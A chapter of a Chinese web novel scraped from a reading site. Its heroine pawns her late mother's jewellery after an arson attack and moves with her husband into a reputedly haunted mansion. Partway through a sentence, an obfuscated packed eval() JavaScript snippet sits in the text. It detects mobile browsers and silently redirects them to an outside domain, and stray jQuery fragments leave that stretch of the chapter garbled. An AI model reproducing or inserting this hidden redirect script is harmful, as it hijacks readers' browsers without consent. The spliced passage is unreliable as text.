默认冷灰
24号文字
方正启体

11. 入住凶宅

作者:森渺本书字数:K更新时间:
    敲击铜锣的打更声,在空巷里荡出回音。


    当铺门被风倏然刮开,门环撞出巨大的声响,昭棠收起掌风,怀中抱着柳姨娘留下的妆匣,大步迈进去。


    当铺掌柜金寿从香甜的睡梦中惊醒,内室传来窸窣响动,骂骂咧咧:“深更半夜砸门,门板坏了可要......”


    “掌柜的,出来看看,这些值多少钱!”


    来人披散的长发垂至腰间,面颊上被熏得乌黑,辨不出原本姣好明艳的容貌,只那声线倒是清晰的很。


    金寿的话音戛然而止,仅凭声音便认出昭棠,衣带还来不及拉好,匆匆从内室窜出,无他,只是昭棠留给他内心的阴影太重了。


    十三四岁,还没接掌家中当铺事务之时,他在城中大街小巷斗鸡走狗,游手好闲之时,曾经欺负过身为乞儿的江宵,却被路过的昭棠好一顿毒打。


    偏偏她还举着拳头威胁不让他将此事告知爹娘,哭哭啼啼鼻青脸肿回家,着实委屈,还不敢跟家里人说实话,只说是在外面玩摔到狗洞里了。


    谁知道他惹得人是江宵,那少年衣衫褴褛,衣服上溅着黑泥点子,头发从中断开,披散到肩膀,瘦削的下巴尖的就像个锥子,唯独露出一双楚楚可怜的眼睛,一双不怀好意之人只知欺负的眼,活像个乞丐。


    后来他才知道,这江宵是江知县在外沾染之后留下的祸根,年岁大了,省得任人在外受欺凌,诬了知县的名声,才将其母子接进江家。


    谁知,进了江家之后,他的才能越发出色,江知县也发觉这孩子的天赋之处,对他好极,经常派他外出办事,一来二去,两人还成了朋友。


    昭棠开门见山,把妆匣里的首饰珠宝一股脑摊在桌子上:“废话少说,看看里面的东西值多少钱?”


    “这不是柳姨娘的首饰吗?你怎舍得......”


    话音未落,又看向昭棠一脸的乌黑,金寿嘴张的颇大:“哎哟,棠娘子,你这是如何搞的?路家失火了?”


    昭棠神色淡然:“我那院子被嫡母派的人放火烧了。”


    杜氏一向对昭棠母子都谈不上好言相处,杜氏虽刁钻刻薄了些,旁人倒也还能理解,毕竟是靠着嫁妆一把扶持着夫君做起一番事业,夫君事业起来后,像寻常男子那般纳了妾,一手架起的城墙最终却要与她人分享,怎能不生疯狂之心。


    只柳姨娘还算得路海的喜爱,娘俩十几年来在路家日子过得还算不错,可偏偏柳姨娘在三年前去了。


    金寿往日里只知杜氏跋扈自我,却未晓得杜氏还有杀人放火之意。


    “杜氏怎能做出如此下流之事?”金寿问道。


    柳姨娘的陪嫁,还有在路家十来年路海赠与的翡翠珠环、羊脂玉镯、金钗步摇如同往日般光泽艳丽。


    昭棠凝视着梨木柜台上的首饰,压了压眼底的情绪:“先点点首饰。”


    金寿眼尖先看到那羊脂玉镯,质地细腻,莹润无暇,一众饰品中最值钱的便是这个,金寿微敛住心思:“你这首饰,我给你十两银子。”


    “你确定?”梨木柜台闷响,昭棠足尖踏上桌子,秀眉微挑。


    金寿心上颤了颤,伸出两只手指道:“二十两......”


    “嗯?”昭棠掌心轻轻移向脖颈,在围帘边带起一阵风。


    金寿大喊:“慢......三十两,不能再多了!”


    昭棠:“你可知城西鬼宅要多少银两?”


    金寿纳闷:“你问那鬼宅作甚?”


    “你说银两便是。”


    “那鬼宅死了人,一直挂着哪有人敢买,能卖出三十两便是不错了,不过若是二十两应当也能入手。”


    昭棠站直身体,道:“把首饰给我留着,假以时日我再来取!”


    金寿嘻嘻笑着:“棠娘子放心,我找个压箱底的地方给你收着,连我家娘子都不让知晓。”


    等昭棠出了当铺的门,金寿才后知后觉到,昭棠是要买那城西鬼宅!


    不过她身后那男子,自始至终未曾言语半句,一身白衣粗袍,不仅看不出丝毫穷酸,反而还衬得那人身型清冷如玉,金寿拍了拍脑袋瓜,那人应是昭棠为自己寻来的夫君。


    昭棠无视嫡母之意,逃脱婚约,到黑风寨强娶了一个男子,此事已成为州城人尽皆知之事。


    城中女子知晓此事后,多数夸赞昭棠有胆有识,大胆与城南郭商人解除亲事,做出其他女子不敢做出之事。只这郭大商人虽是云州城中富商,却不行仁义之事,家事乱到在云州城的大街小巷传开来,更少有女子愿嫁进郭家为妾。


    世人皆知昭棠是有胆识,他金寿早就知道她也就表面看似温顺,内心却是藏着铮铮铁骨,骨子里自有一分执拗。


    那羊脂玉镯,他自是不敢动。


    据说昭棠那夫君面如冠玉,气宇不凡。如今一见,比之传言还要胜上三分。


    金寿叹了口气,只怕江宵知道了后,心里定不能舒坦。


    裴栖迟随昭棠出了当铺,女子手垂在两侧,外表风平浪静。


    “柳姨娘的妆匣娘子便这样给他了?”裴栖迟开口问道。


    昭棠答道:“金寿虽然浑了点,但人不坏,妆匣放他那我也能放心,夫君虽愿为我出银钱,但夫君在黑风寨生活也算不上富裕,日后我们离了路家过日子,样样都要花钱,自然不能随意使用。”


    “方才你问那鬼宅是何意?”他只知昭棠已是寻好住处,并未得知还发生这样一桩事。


    “那鬼宅死了人,兜售不出,眼下的状况这鬼宅当是非住不可了,夫君可是不愿?”


    初晨十分,朝霞的霞光围绕在两人周身,昭棠抬起脸望向他,眸子明亮动人。


    “怎会不愿?夫君听娘子安排。”


    昭棠甜笑道:“那好,若是真的见到鬼,我们谁也不许走!”


    “娘子可是相信世上有鬼?”


    昭棠一笑,转了个身,将脸凑近裴栖迟面前:“骗你的,世上岂能有鬼?鬼样貌丑陋,令人心怀畏惧,曼陀罗花美丽可人,却有剧毒。”


    裴栖迟道:“可见,与其听信人言,不如亲眼去验证一番。”


    裴栖迟手掌轻轻拭去昭棠面颊上染上的乌黑,女子的脸恢复白皙。


    裴栖迟温柔道:“我们便先到宅子中安置下来吧。”


    两人慢慢往前走去,影子被拉的细长,打在枝叶繁茂的梧桐树上,掠过街道的青石板路。


    青石阶前垂着两株老槐树,绿砖配着灰白色围墙,衬得宅子古朴雅致。


    昭棠推开门欣喜道:“倒是与我想象的不同,这闹鬼凶宅与外界传言并非一致,从外到内与新宅无异。”


    裴栖迟道:“看这崭新的样子,那小妾没住多久便自尽了,倒是可惜了。”


    虽说有着闹鬼的疑云,好便好在,这宅子非常大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464288|169790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,内宅众多,可容纳多人居住。游廊将各处屋子连作一气,庭院方砖工工整整铺了满地,池塘附近的凉亭边放置着可摇动的竹椅,堂屋内部宽敞明亮,桌椅床榻一应俱全,墙上还挂着水墨画。


    条案上摆着闲置许久的青铜香炉,香灰凌乱撒在案上,还有一处布置典雅的书房,昭棠指着堆满藏书却积了一层灰的书架:“夫君可是许久未曾读书了?此处刚好遂了夫君的心意。”


    裴栖迟随意拾起一本书翻开:“娘子可喜读书?”


    昭棠老实答道:“自是喜的,可女子读书又不能入朝为官,所以娘从小便教我好好学武,将来在世可保自己周全,若是遇到仗势欺人的,还可保护弱小。”


    裴栖迟叹道:“柳姨娘是个有先见之明之人。”


    无人打理,杂草层层叠出,鞋尖几乎快要被草淹没,裴栖迟蹲下准备除起杂草。


    “等等。”


    昭棠旋身跃上池塘边的青石假山,足尖轻点掠过杂草丛生的庭院,衣袂飞扬,一头乌黑的青丝随风翻飞。


    裴栖迟站起身,饶有兴致地望着她施展轻功。只见昭棠借着假山的高度,掌风将杂草凝聚成草浪,劲风如刀,草茎应声而断,碎叶在空中零星飘落,庭院现出一条整齐小径来。


    裴栖迟笑着打趣:“这功夫用到这上,似是浪费。”


    昭棠望着这篇风卷残云的碎草小径,神情灵动地道:“只要用能用得上的地方便不叫浪费。”


    裴栖迟道:“传言宅中有鬼,现在看来倒是安静得很。”


    “我自是不信的,鬼没有嘴,不会说话,不用吃饭,哪像人那般事事都要盘算一番。”


    “比如杜大娘子?”


    “杜氏算计多年,只是我属实没料到她会要我的命。”空气中陷入安静,看着裴栖迟犹豫的面颊,昭棠道,“你觉得杜氏行事不留余地?”


    “娘子可知,多行不义必自毙的道理。”


    昭棠略微沉吟:“此事最是难办,哪怕我心知火烧宅院一事,是杜氏所做,也无从奈何她。”


    裴栖迟摇摇头,他母亲出身灵寿韩氏,嫁的又是当朝名门望族,大家族中的勾心斗角更是常态。那时,他冒着硝烟走进火场,胸膛中有什么东西怦怦直跳,也像是着了火。


    “我只是担忧你陷入如此处境,我若能提早预料,便不会回到黑风寨,好在,你安然无恙。”


    “只是,爹给的嫁妆不见了,应是被嫡母派人偷去了。”


    昭棠摸了摸钱袋子里还剩的十两银子,缓缓吸了口气,环视了一圈干净整洁的庭院,心中顿感欢畅:“我娘曾说钱乃身外之物,没了挣便是,只好委屈夫君了。”


    “这么大的宅邸就你我二人居住,怎能称得上委屈?为夫还要感谢娘子才是。”


    裴栖迟看向昭棠随意披散在腰间的发丝,从袖口中取出一枚簪子来。


    昭棠迟疑道:“这是......”


    “昨日我在集市上见到,便觉好看,所以买下来准备送给娘子,哪知院中遇了火灾,便耽搁了。”


    那枚玉簪造型别致,簪头以和田羊脂玉雕刻成展翅欲飞的凤鸟,凤羽纤毫毕现,羽毛处还缀着细小的银箔,看起来好像展翅欲飞,与裴栖迟发间的像是一对。


    单看做工便不是常物,若说是在集市中随意碰到,未免牵强。


    裴栖迟满意笑笑:“这玉簪很衬你。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)